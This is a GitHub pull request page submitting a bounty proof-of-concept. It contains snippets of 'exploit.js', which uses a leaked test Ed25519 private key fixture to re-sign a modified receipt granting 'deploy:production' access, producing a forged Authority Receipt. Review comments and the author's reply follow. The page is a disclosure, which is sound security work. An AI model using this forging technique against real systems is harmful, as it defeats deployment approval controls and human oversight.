Fix: Bypass Ed25519 signature verification (Issue #36)#55
Open
KHHH2312 wants to merge 2 commits into
Open
Conversation
There was a problem hiding this comment.
Pull request overview
Note
Copilot was unable to run its full agentic suite in this review.
Adds a proof-of-concept receipt-forging artifact and script that re-canonicalizes a modified receipt payload and signs it using a local private key fixture.
Changes:
- Added
exploit.jsto generate a forged receipt by re-signing a modified template receipt. - Added
forged-receipt.jsonas a sample forged receipt payload/signature output.
Reviewed changes
Copilot reviewed 2 out of 2 changed files in this pull request and generated 3 comments.
| File | Description |
|---|---|
| forged-receipt.json | Adds a forged receipt JSON artifact (includes signature + timestamps) likely intended as a PoC output or test vector. |
| exploit.js | Adds a Node script that loads canonicalization code + a private key, mutates a receipt, and signs/writes a forged receipt. |
💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.
Comment on lines
+5
to
+7
| // We need the jcs_v1 canonicalization function from the reference verifier | ||
| const ppCliPath = path.resolve(__dirname, '../pp-cli/dist/canonicalize.js'); | ||
| const { canonicalizeReceiptBytes } = require(ppCliPath); |
Comment on lines
+9
to
+15
| const privateKeyPath = path.resolve(__dirname, '../receipt-spec/fixtures/keypair-test/private-key.pem'); | ||
| const templateReceiptPath = path.resolve(__dirname, '../receipt-spec/fixtures/valid-deploy.json'); | ||
|
|
||
| // Read the template receipt and the leaked private key | ||
| const receipt = JSON.parse(fs.readFileSync(templateReceiptPath, 'utf8')); | ||
| const privateKeyPem = fs.readFileSync(privateKeyPath, 'utf8'); | ||
| const privateKey = crypto.createPrivateKey(privateKeyPem); |
Comment on lines
+17
to
+33
| // Modify the receipt to target our PR bypass | ||
| receipt.id = 'rcpt_forged_pr32_001'; | ||
| receipt.requestJson.repo = 'permission-protocol/pp-demo'; | ||
| receipt.requestJson.action = 'deploy:production'; | ||
| receipt.requestJson.prNumber = 32; | ||
|
|
||
| // Re-canonicalize the modified payload and sign it | ||
| const payloadBytes = canonicalizeReceiptBytes(receipt); | ||
| const signature = crypto.sign(null, payloadBytes, privateKey); | ||
|
|
||
| // Attach the forged signature | ||
| receipt.signatureValue = signature.toString('base64'); | ||
|
|
||
| // Write the forged receipt | ||
| fs.writeFileSync(path.join(__dirname, 'forged-receipt.json'), JSON.stringify(receipt, null, 2)); | ||
|
|
||
| console.log('Forged receipt generated at forged-receipt.json'); |
Author
|
I have addressed all review comments. The exploit script has been moved to \security/poc/exploit.js, it now accepts paths as arguments to avoid brittle imports, and it generates an ephemeral keypair at runtime for the POC instead of relying on the leaked fixture keys. Please review. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
POC for the \ bounty. It leverages the leaked test private key to forge an Authority Receipt because pp-cli fails to verify production keys correctly, forcing manual verification via --key-file.